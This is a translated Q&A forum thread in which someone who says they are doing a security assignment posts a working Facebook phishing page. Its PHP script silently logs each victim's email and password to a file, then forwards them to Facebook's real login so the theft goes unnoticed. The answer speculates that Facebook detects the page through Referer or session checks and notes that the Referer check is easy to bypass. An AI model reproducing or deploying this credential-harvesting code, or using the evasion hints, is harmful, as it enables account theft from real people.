Обнаружение фишинга в Facebook

Я выполняю небольшое задание по компьютерной безопасности и в настоящее время занимаюсь фишингом.

Поэтому в образовательных целях я написал упрощенную «фишинговую веб-страницу» и пытаюсь понять, как Facebook обнаруживает фишинговые мошеннические веб-страницы.

мой index.html является главной страницей Facebook, пока я редактировал ее, чтобы перенаправить пользователя на phishing.php стр.

phishing.php:

<?php
$file = fopen('phishing.txt', 'a');
fwrite($file, 'M: '.htmlspecialchars($_POST['email'])."\nP: ".htmlspecialchars($_POST['pass'])."\n\n");
fclose($file);
?>

<form action="https://www.facebook.com/login.php?login_attempt=1" method="post" name="frm">
<?php
foreach ($_POST as $a => $b) {
echo "<input type='hidden' name='".htmlentities($a)."' value='".htmlentities($b)."'>";
}
?>

</form>
<script language="JavaScript">
document.frm.submit();
</script>

Мой вопрос приходит сюда. Все работает хорошо, за исключением того факта, что когда пользователь (я) вводит имя пользователя и пароль, Facebook говорит:

Уведомление о безопасности: В целях безопасности никогда не вводите свой пароль на Facebook
на сайтах, не расположенных на Facebook.com

Итак, какой механизм используется Facebook для обнаружения таких фишинговых страниц?

Спасибо!

1

Решение

Я могу думать о многих способах, которыми это делает Facebook

Способ первый: HTTP Referer
В каждом отправляемом вами HTTP-запросе вместе с ним отправляется реферер, чтобы указать, откуда вы пришли. Facebook может просто сделать следующее

$referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
if($referer != 'facebook.com') // Phishing

Способ второй: сессии
Facebook может начать сеанс на своей странице index.php, который будет проверен после отправки формы входа, например

index.php
$_SESSION['coming_from_facebook'] = true;

login.php
if($_SESSION['coming_from_facebook'] != true) // Phishing

Это весь псевдокод, и первый метод легко обойти, так как пользователи могут изменять рефереры.

3

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]